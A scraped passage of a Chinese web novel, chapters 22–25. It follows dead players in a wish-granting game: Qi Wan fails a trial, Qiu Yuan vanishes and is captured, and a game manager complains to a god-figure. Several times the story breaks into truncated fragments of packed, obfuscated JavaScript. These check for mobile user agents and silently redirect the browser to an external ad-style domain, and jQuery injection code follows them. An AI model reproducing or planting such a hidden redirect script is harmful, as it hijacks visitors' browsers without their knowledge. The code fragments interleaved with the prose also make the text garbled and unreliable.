35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084189|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她试图调整速度,想以更快的速度下降,恍然大悟,“是因为我认为我有体重,跳下去会疼,所以就疼。就好像我把手指咬断的时候……” 因为她认为它该长出来,它就真的长了出来;认为手指断了应该流血,手上才有血迹残留;同样,她在看见手指恢复如初后下意识地认为不该疼了,痛感也就消失了。 她是一个已经离世的人,而这里是死后的世界。某种意义来说,是一个唯心的世界,一切随心,或者说,取决于想象力。 虽然无法唯心到将外界也纳入自己控制的范围,但她至少可以完全掌控她自己。 她一路向下飘落,手腕上数据环微微闪亮,进度条出现了一点增长。 这可能就是顿悟吧,她想,她突然就明白那教材究竟是在教她什么了。 最终,她跟逐风一同落在崖底的河边。 …… 顺着河水向下走了一百来米,她们看见了一颗被砸断并且烧焦了的树,树旁倒着一辆已经烧焦并且很破烂的货车,车上的物品散落得到处都是。车也断成两截,半截在地面上,半截在水里。 驾驶位前的挡风玻璃烂了个大洞,祁晚半屏息着走过去,透过那个大洞在副驾驶的位置上看见了一具已经烧焦的尸体。 这里只有一个,应该还有一个…… 考虑到车前挡风玻璃上洞的位置,她朝车前的河水看去。 果然,十几米远处的水边躺着一具尸体,已经开始烂了。但因为离得比较远,她没闻见什么味道。 她闻不见,不代表小动物闻不见。 车里烧焦的尸体已经闻不出气味,腐烂的尸体上却还有熟悉的味道。 她移开目光,不去看那个方向。 声音还是传进她的耳朵里。 先是哼唧,撒娇,用力拱动,但必然不会得到回应。 于是短暂的安静后,是凄厉而绝望的嚎叫。 响彻山谷。 祁晚从没有听过这样的嚎叫,每一声都在破音边缘,带着一种叫人不敢细听的绝望。 漫长的等待,终究没有等来美满的结局。 未知的死亡是不完美的句点。 一个冷硬而锐利的女声响起,是祁晚刚进等待游戏时听见的那个女声。 【我是本场游戏管理者。代号:岳】 【玩家祁晚,等待游戏第一部分失败,请进入第二部分】 周围的景色轰然倒塌。尸体、废车、货物、河水、优美的景色和泣血的狗都如同合上的书页般消失。 光线也消失,祁晚眼前变得一片漆黑。 她又回到了这片纯黑里。 一颗绿色圆球从远处飘来,是一开始领她进入游戏的那个游戏点。 【玩家祁晚,等待游戏第一部分失败,请进入第二部分】 “失败了啊。”那凄厉的叫声并不令人愉快,听不见了也好。祁晚自嘲地笑笑,“给我整出第二部分来了,开始的时候可没告诉我还有第二部分……是给我弥补的机会吗?” 游戏点继续发出播报。 【开启引路模式】 【请玩家跟随游戏点,去往等待游戏第二部分】 22. 小狗(12) 当日,午休时间。 所有完成任务的玩家都回了旅馆,李芬因为值了后半夜的夜班,上午没有去完成任务,睡到了中午才起,上午的任务是雷铭分配的。 之后的任务比一开始的简单些,再加上人们都有了经验,很多人一上午就完成了。 既然李芬醒了,自然就不用雷铭再忙,他乐得清闲,等着李芬分配任务。 李芬打开任务列表。 已完成的任务会自动消失,所以按理来说,随着他们一点点去做,任务数量是会变少的,但奈何每天都会增加新的。 要不然大家也不会达成要找到开图人这个共识。 可是今天的任务列表不一样。 列表最下部,出现了一行红色小字。 【任务新增已完成】 李芬愣住了。 “什么意思?”红色小字很显眼,白大鹏凑过来,皱着眉头看,“以后都不会有新任务了?” 刘畅右手手背往左手手心里一摔,“我就说嘛!昨天晚上为啥没有抓到人。” 白大鹏看向他。 “因为开图人把地图开完了走了呗。”刘畅一耸肩,“不过也行吧,知道地图不是无限的了。那开图人就无所谓了,咱把支线处理完就行……这游戏赢得还挺简单。不知道主线是啥,不过管它呢,反正不用咱做。” 雷铭又想起昨夜那个大步流星的路人。 他总觉得自己漏了点什么。 “我早上分配任务的时候,还没有那行小字。”他皱着眉道:“开图人可能是走了,但应该不是昨天晚上走的。” 刘畅瞥他一眼,“不是昨天晚上还能是什么时候?不然咱们为啥什么都没蹲到。” 雷铭不语。 白大鹏:“但是雷子说早上还没有那行字?” 刘畅嗤笑:“字在最底下呢,他没看见呗。” …… 柳州与不知道为什么,她跟秋原总是能分到最难搞的任务。 最近大学生回乡,猫犬咖老板忙得焦头烂额,需要帮助……因为老板要求应聘者必须是女生,还要形象好气质佳,雷铭就叫她和秋原去了。 她们倒是来之前就知道会很忙,可也没想到居然有这么忙啊? 她们来后,老板对她们二人的形象进行了评估,最终决定让秋原去二楼抱猫,陪客人玩桌游,而她则在一楼捡狗屎以及擦狗尿。 为了不给客人造成不好的体验,她必须要在狗拉尿的时候立刻去清理掉。 虽然店里点着熏香,她也戴着口罩,但一上午下来,她还是麻木了。现在不管是香味还是臭味,她都已经闻不到了,一上午不停地弯腰低头收拾狗屎尿,现在她腰也疼。 一想到这是个长期任务,这日子她不知道还要过几天,她就感到无望。 明明已经铺了垫子了,这些狗为什么学不会定点拉尿啊?! 午休时间,人终于少了点,她颓然坐倒在椅子上。一条很喜欢她的小黑柴跑过来朝她笑,被她摸了两下头后,跑去垫子上尿尿。 哦,这个是会定点拉尿的。柳州与漠然地想,尿垫也快尿满了,她待会还得把尿垫收了换新的。 然后小黑柴尿完了,很快乐地跑到她身边求摸摸。 柳州与假笑着摸它狗头,拉高声音夸它,“妞妞真棒!”然后往它狗嘴里塞了一颗牛肉粒。 哦,这也是老板的要求,狗狗做对事情了的时候必须要夸它并且给奖励。 得到零食,被叫做妞妞的小黑柴蹦跶着离开。这下柳州与不光是体力,连情绪能量也被耗尽,更累了。 在这游戏里,人死不知道能不能复生,但人都死了还要负责提供情绪价值,还不是给人,是给狗,她想想都觉得离谱。 …… 二楼,有人把自己拧成麻花逗角落里的猫;有人撅着大腚朝沙发底下嘬嘬;有人把头埋在猫身上唱歌;有人把自己插成逗猫棒掸子吸引猫;有人靠着猫拍照;有人在猫堆里睡觉。群魔乱舞,但没有人伤到猫,秋原就没理。 老板说了,如果出现没有猫搭理的可怜人,她就抱一只过去给人家摸摸,总之提升顾客消费体验。只不过嘛,现在看来,客人想摸猫咪会自己去找,没人有需要她的帮助。 倒是有人要她的联系方式,很多个了。 但是客人的其他行为?老板说了,看起来多有病都没事,只要没有强迫猫或者伤到猫就不用管。 她的联系方式与猫无关,她不管。 所以她现在在陪客人玩狼人杀。 第三轮,秋原再次看了一眼自己的身份牌,“我是预言家,我看过1号了,他是狼王。” 1号冷笑,“看见没?这就是狼反跳咬预言家。我可是第一轮就说我是预言家了,11号小姐姐你现在跳可晚了。我昨天晚上查看了7号,她是一匹狼。” 秋原又是11号,她跟这个数字可能有什么不解之缘。 “可是我真的是预言家。”秋原辩解,“他第一轮抢我的身份……” 众人一番吵闹推理后,第三轮投票结束,7号跟秋原一块被投出去了。 最终,这场游戏以平民失败而告终,人们都散了各回各家,到了午休时间。 彼时一场游戏都没赢过的秋原正在铲猫屎,她若有所觉地抬起了头。 “消失了……” “是走了吗?” 将猫屎装好塞进垃圾桶,她站直身体,打开了任务列表。果不其然,在任务列表最底下发现了一行小字。 【任务新增已完成】 看着这行小字,她眨了眨眼。 “那我也该走了。” 外卖到了,于是老板去叫秋原下楼吃饭,然而她翻遍了整个二楼,除了猫什么都没找到。 “……人呢?” 楼下,柳州与终于把所有狗都关进笼子,饿得要死,正塞了满嘴饭菜,就听见老板叮呤咣当的下楼声,然后是这女人尖锐的叫声。 “柳州与!小柳!”老板焦急地看着柳州与,一头卷发都乱了,“小秋是不是出去了?跟你说她去哪里没有?她是出去吃了吗?我都说了我给你们买饭啊——” 柳州与一脸愣怔,“啊?” 老板:“啊?” 柳州与咽下饭菜,“秋原她不见了?去哪了啊?” 老板:“……我这不是问你呢吗?” …… 怕秋原是太累了逃跑,老板很是担忧地放了柳州与半天假,并告诉她明天可以晚一点来打扫卫生。 于是柳州与第一时间赶回了旅馆。 恰好李芬刚刚分配完下午的任务,人们都还没有走。 “兼职做完了?”雷铭作为上午的任务分配者,自然知道柳州与跟秋原干的是什么活,“这么快。” “没有,得好几天,现在也没到下班时间。”柳州与喘匀了气,道:“秋原不见了……老板就给我放了假,你们看见秋原了吗?” 李芬皱起眉头,“小秋?她不见了?” 柳州与狂点头,“她不见了!” …… 任务不再新增,两天后,人们完成了所有任务。期间,提前完成任务的人会分出一点精力去寻找秋原——但什么都没找到。 这个人,好像人间蒸发了一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088176|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 莫名其妙消失一个玩家,这在玩家之间引发了一定的恐慌,李芬花了很大精力安抚众人。 但柳州与没有。 雷铭也一样。 两人在交流后,柳州与终于知道了这就是第一场游戏连第一夜都没熬过的倒霉哥们——被祁晚淘汰的。 而雷铭也知道了后来的游戏进程:柳州与艰难活到最后一夜,本来稳赢——然而也被祁晚干掉了。 某种深厚的革命友谊就此油然而生…… 而雷铭在得知秋原的大致消失时间后,认为此人的消失跟开图人有关。 “开图人差不多就是那个时间走的。”雷铭道:“那天上午我负责分配任务,看了不止一遍任务列表,确实没有任务新增完成的提示——刘畅非说我没看见,你别听他胡说——这个提示就是到中午才出现的,而且秋原本人不是也说过吗?她找到了开图人。” 柳州与想了想,赞同,“有这个可能……不,可能性很大,你说得对。” 其实她还有别的线索,她在想:那小中二病某些奇奇怪怪的发言,以及莫名其妙的行为,是不是……并不是因为中二病? 然而她没有证据,秋原的奇怪之处很难言明,说了也没人信,她没办法说。 最后只能说:“反正我……挺想找到秋原的。” 雷铭也有别的线索,他在想他那夜值守见到的眼熟身影,这几天,他满脑子都是那个不太可能的可能性——会不会真的是祁晚出现了?有那么巧吗? 然而他也没证据,这种直觉上的东西无法言明,说了也没人信,他没办法说。 最后只能说:“其实我……挺想找到祁晚的。” 于是两人的讨论停止在猜测范围,没得出任何有效结论。 他们的讨论陷入停滞时,最后一个人完成任务回到旅馆,此人迈过门槛的一瞬间,开场时那个冷硬锐利的女声响起。 【诸位,我是本场游戏管理者。代号:岳】 【恭喜游戏胜利的玩家,请选择一个需要实现的愿望。 【机会可以积攒。】 然后她按照顺序开始点人。 【玩家李芬,请提出愿望】 李芬垂下眼,脸上的皱纹好似都深了几分,“我想……我想看看我女儿,她在哪?接下来的游戏我可以跟她一起吧?她太小了,一个人不行的。哦对,我跟她组队。” 【游戏成员随机匹配,不可组队】 李芬呆住。 “开场的时候就说过了。”刘畅同情地看着这位全程都在领导大家的大姐,“不可以组队的。” “这也不能破例吗?”李芬没理他,无法抑制地,泪水浸透了她眼角的细纹,“她才十一岁!那么小!这么小的孩子也不能破例吗?我是她妈妈!我不管她,还有谁能管她?你们要让这么小的孩子自己待着吗?” 沉默。 系统可能卡了。 管理者不再说话,全场安静下来。 过了半晌,播报还没有继续。有人开始小声吐槽,边磨叽边抖腿,“不会就卡在这了吧,其他人还有愿望呢……别耽误时间啊……还不快说,就她和她姑娘重要咋的……矫情……” 雷铭和柳州与就坐在这人身后不远处。 这里的椅子都很烂,有很多都缺脚,需要拿东西垫着才能坐稳,这位吐槽的哥们坐的更是一个直接少了半条腿的凳子。 柳州与稍微凑近了一点。 踹! 咔吧—— 接上去的半截腿并不牢靠,此哥们应声而倒。 惊呼声响彻旅馆大厅:“卧槽啊啊啊啊——” 23. 小狗(终) 摔倒在地面上,此人疼得直嚎,第一时间看向身后的俩人,“你们谁搞我凳子?闲的?” 环视两人,其中柳州与离他更近,他便怒视柳州与,“就是你吧?我招你惹你了,崽种……” “我刚才就想说,你别抖腿了。”雷铭一脸无辜,稍稍往前挪了一点,打断了此人的怒骂,道:“破凳子本来就不牢靠,别再让你抖断了——这不就断了吗?” “她想去提醒你一下的。”然后雷铭指了指柳州与,一摊手,“你别不识好人心。” 这人居然不是文盲,知道前半句是什么,更怒了,“你说我是狗?” “我可没那么说,你别血口喷人。”雷铭上前去扶他起来,语气很和善,“当心遭雷劈。” “我日你……”这哥们脸都憋红了,人还没爬起来,先抬手拽住了雷铭的衣领子。 “都摔成这样了,还是别动手了吧。”雷铭的笑容更和善了,扶着人的手背暴起青筋,“我小时候在小区里打架,一个人能打八条狗。” 柳州与捂着脸偷笑。 不等战火再升级,播报声及时响起。 女声依旧冷厉,听不出什么变化。 【“见到女儿”,“得知女儿的位置”和“与女儿组队”属于三个愿望,请玩家三选其一】 李芬惊喜地站起来,喜极而泣,“我选组队!” 【组队成立,每次组队限一人。玩家李芬、李玲月组队成功。组队开始时间:玩家李芬名下第二场游戏。】 场上响起稀稀拉拉的掌声和祝贺声。 “恭喜李姐啊,恭喜!” “难怪停那么久,管理者这是为你们破例了!” 一道传送门出现在李芬身侧。 【请玩家进入下一场游戏】 “快去吧!”刘畅伸出手,呲着牙乐,用力推了一把李芬,“李姐,穿过去!过去就能见到了!” 李芬擦掉眼泪,笑,“谢谢你,小刘。虽然有点游戏打傻了,但你是个好人,可惜一次只能组一个人……如果能再遇见,我还会帮你的。” 然后她转身就走,带着期待的笑容。 刘畅:“不是……” 李姐,你不说那前半句也行的。 【玩家刘畅,请提出愿望】 听见点名,刘畅顿时不再无语,毫不犹豫道:“我要连发大火球!” 想打人但被雷铭掐住了的那哥们换了个凳子坐,但还在抖腿,且又在吐槽,“还说没傻,谁要这东西……这就是打游戏傻了吧……” 雷铭瞥了他一眼,没反对。 这人嘴里居然没冒出新的屁话来,真是难得。 但系统显然不觉得刘畅有什么不对。 【玩家刘畅,获得火系异能】 【请玩家进入下一场游戏】 播报声继续,在场的人依次被点到。 倒数第三个是白大鹏。 【玩家白大鹏,请提出愿望】 白大鹏嘿嘿一笑,提出了一个很令人意想不到的愿望,他道:“我要跟刘畅组队。” 【玩家刘畅、白大鹏组队成功。组队开始时间:玩家白大鹏名下第二场游戏。】 【请玩家进入下一场游戏】 如此,场上的人就都走了,只剩下柳州与跟雷铭两人。 【玩家柳州与,请提出愿望】 柳州与有些犹豫,没有立刻开口。 她的愿望其实很多,她也一直都在期待,只是等真的到了这一刻,她反而不知道该先说什么好。 她想要的东西太多,想知道的东西也太多。 人想要的太多,反而会陷入迷茫。 沉吟片刻,她道:“那……我要……对,我要复活!” 【抱歉,复活属于高等愿望。需要积攒胜利次数。】 “需要多少次啊?”柳州与愣了,“异能都不算高等,组队都可以现加……复活居然不行吗?” 管理者没回答她。 于是她决定换一个。 又沉吟片刻,她道:“那我要跟秋原组队。” 雷铭有些意外地看了她一眼。 这姑娘确实说过想找到秋原,可居然有这么想吗?哪怕用掉一个愿望都要找到? 然而管理者顿了片刻,道: 【玩家秋原不存在,请更换愿望】 雷铭顿时就惊了。 不存在?什么叫不存在?之前进行游戏的时候,他明明还见过这个人——因为那一头亮眼的非主流挑染银发,他印象还很深刻。 怎么会不存在? 反而是柳州与看起来没怎么惊讶。 雷铭顿时就意识到一件事——柳州与恐怕知道些他不知道的东西。 “那我没愿望了。”柳州与对管理者的回答并不意外,道:“攒着吧。”反正复活也要攒的。 【玩家柳州与积攒胜利次数】 【请玩家进入下一场游戏】 柳州与走向传送门,正要离开,突然想起什么,回头看向雷铭,笑道:“刚才谢谢你啊。”是在说帮她挡住那男的的事。 不然她真有可能跟那男的对骂一场。 雷铭其实有心想问问秋原究竟是怎么回事,只是时间来不及了,且柳州与也不见得会说,就只是笑了笑,道:“不客气,那人活该。” 但……他还是不想就这么放弃情报,便又补充道:“要是我得到有关秋原的线索,会想办法告诉你的。” 柳州与有些意外,眨了眨眼,道:“啊,那个啊……谢谢……那,那我要是有了关于祁晚的线索,我也会想办法告诉你的。” 雷铭微笑,点头,“好。” 于是柳州与也离开,场上只剩下他一人。 【玩家雷铭,请提出愿望】 雷铭来到桌边,挑了个牢靠的凳子坐下,单手支着桌面,指节顶着鼻尖,思考起来。 ——他想问的问题太多,不知道究竟该怎样问。 但是要先保证能问才行。 “我能提问题吗?”于是他先问道:“我想问一些东西。我的愿望是希望管理者如实回答我的问题。” 【可以提问,一个愿望折合一个问题】 只能问一个,那就有点难办了。 沉吟片刻,他一字一句问道:“那我要问……这场游戏有个负责开辟地图的人。那人是谁?” 管理者再度沉默。 时间一分一秒过去。 沉默许久,雷铭才得到回答。 【是玩家祁晚】 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093667|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,一道属于他的传送门蓦然出现。 【请玩家进入下一场游戏】 …… 主神空间。 听见雷铭的问题,管理者岳终于再也忍不住,“咣”地一声把杯子摔在桌子上。 “……这都什么人?” “破例改规则的,还有找人的……还不是找bug的就是找实验体……这些人……知道加组队功能要多费多少算力吗?还有找人的,怎么就能精准找出各个麻烦人物呢?” 工作量暴增啊!关键是主神居然还同意了?那个玩意居然同意了?简直离谱,是嫌大家不够累、活还不够多是吗? 明明工作量最大的就是祂自己,结果祂完全不嫌累——自己不累就也不给别人休息时间是吗?什么破人? “烦死了,我是干不了了。” 她面带怒容站起身来,直奔世界树而去,看见树下的某个人就开始骂,“小畜生,你自己看看这都是些什么人?这些麻烦人怎么全在我这?你故意的吧?” 树下的人就是主神,听见她骂,便回头冷眼看她,一时没说话。 但那眼神的意思真是再明显不过了。 ——是,那又怎样? ——难不成要交给管理者薇?那不可能。 岳顿时气结。 她怎么就摊上这么个小畜生当上司? 然后这人终于开了尊口,只是说出来的话更让她生气了。 “监督和报告都交给逐风,实验体的学习也是它负责。”主神回过头去,不再看她,淡淡道:“你连剩下的事都处理不了?” “你要是不行,管理者也可以换人。” 好,这混账东西,就差直接说她是个废物了。 “好好好,你就是仗着我现在不能揍你。”岳直接气笑了,“我是怕说了什么不该说的造成麻烦!你什么态度?行,那我就不管了,我都直接说——后续要是造成什么麻烦,你自己想办法处理,那几个麻烦东西你自己对付。” 主神的语气依旧没有起伏,但岳总感觉祂在嘲讽。 “我本来也没说过不能说。” “这也叫麻烦?” “杞人忧天。” 行了,不用感觉了,这家伙就是在嘲讽。 岳气得转身就走。 听着管理者岳的脚步声远去,主神抬头,深渊般瞳孔缓缓变成亮眼的银色。 祂还有工作要继续。 世界树无风自动。从遥远的树顶,一个空白光球飘离树叶,缓缓落下,落到祂面前。 “这片够吗?不是还有闯入者吗?”世界树还是那个中性细软的声音,道:“不够的话,我换一处……按你说的,空区的分割也在推进,现在分好了一部分……这个是比较小的一片……” “够。” “收集功能有很大的改进余地,太大了不适合实验。闯入者不算什么事。”如此说着,主神将手放在光球上,“就是还要专门弄一个新的,有点浪费……” 但毕竟是引导者说的,要好好教。 要怎么设置才能在节省资源的情况下同时保证高效的废物利用,祂要好好想想。 还有那个闯入者……最好也搞清楚来历。 光球内的白色微尘翻涌起来。 24. 冰缘带(1) 空间中密布的白色微尘被未知的力量卷起,汇集,变换形态。有的沉淀到地上,变成石块和土壤;有的飞向上空,变成天空和云朵。 如同女娲斩破混沌,天地就如此开辟出来。 最终,这里变成一处没有颜色的戈壁,石缝间冻结着不化的冰雪。远远望去,能看见远方连绵的山脉和山腰上的草甸,山尖铺着白雪。 越过这些山脉,能看见更远处还有白色的山峰,是更加遥远的雪山。 虽然都没有颜色,但能认出是什么来。 可惜没有颜色,如果有,可以想见这里会是怎样壮阔的一片景色。 冰原安静,无风无声。 半晌,一道银色流光划过天际,一个围着“萌爱猫犬咖”围裙的身影出现在无色的冰原上。 如果凑近,可能还能闻见她身上的猫味儿。 秋原环视四周,“是这吧。” 有了上次的经验,这次她坚信自己不会找错,“新建的只有这里,肯定是……唔,我等一下吧。” 她说着要等,其实也没站着等,而是转身朝着更高处走去。 很难说她究竟是怎么移动的,步子不大,看起来就是很普通的散步,但一步能就是能走出去好几米远。这使得她的移动看起来像是一下一下的闪现。 感受着高度一路升高,秋原翻越雪顶,来到一处盆地。 这里是唯一一个有颜色的地方,如果祁晚要领取游戏任务,毫无疑问要来这里。 这处盆地跟之前不太一样啊……秋原顺着山坡下去,看见石缝里长着许多花色艳丽,花型奇特的花朵。 “在地球上,这种环境好像被称作生命禁区?海拔很高的样子……”她查阅着自己已有的资料,发现居然不是所有植物都能查到,“生命禁区也可以开花?碳基生命真是神奇。好像是很稀有的植物,但是好好看哦……” 她凑近一株白色的,棉花一样的花。它绿色的叶片层叠有序,花序和叶片则密被绵毛,像个带绿色基底的小雪团子,很可爱。 看着它,秋原笑得眯起眼睛,“这个真好看,我喜欢。” “资料里没有……它叫什么呢?” 盆地里莫名的吹起风来,秋原银白色的发丝跟花朵的绒毛纠缠在一起,她正要起身,身后传来一个冷漠的声音。 “那是棉头雪兔子。” 身后蓦然有人出声,秋原吓了一跳,猛地回过头去。 来者一身黑衣,头发跟瞳孔也是黑的。很纯粹的黑色,黑到看不见一丝反光。身形与她相仿,身高可能比她略高一点,看外貌则很年轻,长相有点雌雄莫辨。只是神色异常冷漠,声音也是。 以及那个眼神…… 秋原见过这种眼神,她一开始模仿人类模仿得不太好的时候,就会出现这种无机质的眼神。被友人评价为“一看就知道不是人类”以及“你抓紧回炉重造吧”。 从这个人身上,她感受不到同族的气息——毫无疑问这就是个人类。 可是,这种眼神怎么会出现在一个真正的人类身上? 是传说中的高级人工智能吗?人类灭绝前的科技有发展到这个程度? “冰缘带植物居然也收录了一部分,你的资料库很全。”来者再度开口,居然是称赞她,然而随后话锋一转,“但是你来这里,没有经过同意。” 不对……不像人工智能……这究竟是谁? 明明只是很简单的评价,很平静的话语,却带来巨大的压迫感。秋原心中莫名涌出恐惧,她的身体弥散成光点,朝着四面八方散去。 不论如何,先逃再说! 来者依旧没什么表情,只是道:“你跑不掉。” 下一刻,所有光点被迫重新聚集,变回了秋原的模样。只是她的形象有了些变化——发丝中所有挑染尽数消失,发尾变成了绿色;双眼光采尽失,变成了毫无生机的灰白色。 她动作僵硬地走到那株棉头雪兔子旁,整个人如同提线木偶。身形缩小,被变成了一株与其相同的花。 然而看见她如此容易被控,来者眉头反而微微皱了起来,好像不太满意似的。 一缕清风拂过花朵,两朵棉头雪兔子并肩,微微摇晃。 冰原上空无一人。 …… 在无边的黑暗里跟着游戏点溜了快一天的腿,祁晚终于抵达了游戏地点。 迈过大白圈,出现在她眼前的是黑白灰的戈壁滩。 自然环境当然不会是这个颜色,她抬头望向天空,果然也是灰色。 又一个未完成的,需要她点亮的世界。 她不觉得累,只是机械行走的时间太长,人都麻了,以至于现在看见个丧葬风风景都觉得感动。 “这就是第二部分啊……” 有了上次的经验,她知道她得再找到一个有颜色的地方才能领到任务,因而毫不犹豫地开始爬坡往上。 “第二部分……这部分失败了该不会还有第三部分?” “别这样吧。”想到这里她就有点泪目,“然后我要在这里打一辈子的工吗?还不如直接宣告失败然后下一场呢。” 这次的小世界好像比上次的设置完备不少,没有需要她点击的游戏点,她走到哪里,哪里的天地就会自动变成彩色,也没有空气墙拦她。 步步生彩,生机赋予——她在这里就好像神明一样。 不管怎么说,成就感还是很足的。 “要是这样的话,多来点也行。”即使乱石嶙峋的冰原有些难以行走,她的速度也越来越快,“我好像唤醒世界的女神啊。” “这也太好玩了!” 但她无法走得太快。 果然点亮还是需要她的精神力,她观察着自己手腕上的蓝条,发现自己走得越快,它就降得越快,跑起来还会头疼;走得慢时就好很多。 她才不要头疼,慢走就慢走,她又不着急。 她就这样翻过雪顶,期间也有攀爬得很艰难的时候,但她只要想一想“自己现在只有21g”这件事,就能轻易地越过去。 由此,她认为自己也应该能够飞起来才对。 但考虑到速度快了会头疼……还是算了。 这里估计是跟小狗那个世界差不多的规则——必须要把所有区域都点亮才行。为保持续航,也为了不头疼,她才不要加速。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096358|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>……那就只能老老实实爬山了。 不知过了多久,她的面前出现了一片盆地。 这里居然没有冰雪。 更重要的是,这里有颜色。 盆地地处两座山之间,高度大概是山腰,与其说是盆地不如叫做山谷。山谷两侧的高处都是白雪;而在较深的,没有冰雪的地方:谷底有涓细溪流,岩石上长着地衣和青苔,石缝间开着花型独特、艳丽的花朵。 果不其然,她一踏足这片有颜色的地界,播报声就响了起来。 【我是本场游戏管理者。代号:岳】 【玩家到场,游戏开始。】 然而听着这次的播报,祁晚微微疑惑起来。 这次管理者的说播报内容是不是跟之前不太一样? 而且这个语气,怎么听起来有点生无可恋的? 错觉……吧? 随后,她看着这片堪称广阔的谷地,陷入沉默。 “上次好歹有个场景,还有条狗,能知道是狗在等主人。”她吐槽起来,“这次怎么什么都没有。” 连个会动的活物都没有,连究竟是谁或者说什么东西在等都不知道。 除了地衣青苔就是花和石头……等待春天吗? “什么都不给,我哪知道你等什么呢?”祁晚吐槽着,决定先往下走,“先逛逛吧……万一有发现呢。” 再者,这地方的风景真不错啊—— 她眼前正是一片陡坡,非常陡,走着下去就太艰难了,于是她干脆一屁股坐下,滑了下去。 “呜呼——” 一滑到底,祁晚跟滑落的碎石一起在坡底停下,腕间蓝条降到了73%。 “腚疼,头也疼……嘶……”她捂着头站起来,看向谷地中心。 ——那里出现了一个人影。 是个女人,身姿挺拔,手里抱着一沓本子。一身浅灰色的休闲装,一双便于行走的软底鞋;长发高高盘起。 祁晚望着她,脑海里涌现出对应的信息。 她手里的是一沓教案,穿软底鞋是因为没有脚步声,出现在教室后窗玻璃很难被发现。盘起的头发则是一头及腰长发,在不用上课的时间,那头长发就会温柔的披散下来。 在那些自习的午后,阳光正好。当她拿着习题集去提问的时候,这些发丝会带着淡淡的香气,落在纸页上,再被修长白皙的手指挽到耳后。 伴随着香气的,是温和耐心的讲解声。 “这个我讲过很多遍了,祁晚,你好好想想。” “这里该用哪个公式?是不是万有引力等于向心力?公式是什么?背一遍。” “这个知识点你已经问过我六次了,还没记住吗?” ……好像也没那么美好。 可是等她大学毕业,满怀期待地去参加高中同学会时,得到的却是此生不见的噩耗。 那个把同一个知识点给她讲十二遍都不会不耐烦的老师,不在了。 她顾不得头疼,跌跌撞撞的站起来就往下冲。 精神力抽取速率极速提升,她疼出了生理性眼泪,却还是没有减慢速度。 “林……林老师?” 25. 冰缘带(2) 然而跑出去没几步,她就被石块绊倒了。 “头好疼,手也好疼,不能跑了……”在乱石堆里摔了个狗啃泥,祁晚艰难地支起上半身看向那个位置,顿时瞪大了眼,“咦?人呢?” 广阔的谷地不见人影。 祁晚:“……” 祁晚:“不是,我明明看见了啊?” 人呢?就这么消失了? 总不能是错觉吧?真是错觉吗? ……不,就是错觉吧,毕竟不管怎么想,林老师都不会出现在这里吧。 于是她又趴回去了。 “头太疼产生幻觉了。”她小声叨叨,“都看见林老师了……要休息,必须要休息,再不休息我马上就要精神失常了。” 她侧着脸趴在地上懒得动弹,然而眼前却不只有乱糟糟的石头。 石缝间长着两朵花,只有大小略有差异。 大概是花吧,是白色的,棉花一样的花。绿色的叶片层叠有序,花序和叶片则密被绵毛,像个带绿色基底的小雪团子。与其说是花,倒更像是小毛绒挂件。 “什么植物啊。”她伸出手碰了碰较小的那一朵,绒毛的触感十分神奇,“是地球上的植物吗?好神奇哦……啊!!!” 那朵较大的花动了!它侧过身子来蹭了蹭她的手! “闹鬼啊!”祁晚扑棱一下坐了起来,蹭着地后退,“什么鬼?” 下一秒,那朵蹭了她一下的花化作光点逸散,再下一秒,这些光点汇聚成了一个人形。 就是,这个人吧…… 是个少女形象,个子不算很高,容颜精致,一头银色的头发在阳光下熠熠生辉——穿着可爱的Lolita风裙子,还围着一条围裙,围裙上书“萌爱猫犬咖”五个大字,且沾满了猫毛。 且不说花为什么会变成人,这张脸是否也太眼熟了些? 还有那个围裙,怎么回事?是去猫咖打工去了吗? 祁晚试探着唤出声,“……秋原?” 少女循着声音低头望向她,双眼无神。 祁晚皱起眉头。 不一样。 发丝里的挑染都没了,发尾变成了绿色;还有眼睛,她记得秋原的眼睛是很浅的颜色,在阳光下流光溢彩的,现在则变成了无一丝光采的灰色——再者说了,秋原为什么会去猫咖打工?想想都离大谱。 最终她得出结论,“这不是秋原。” 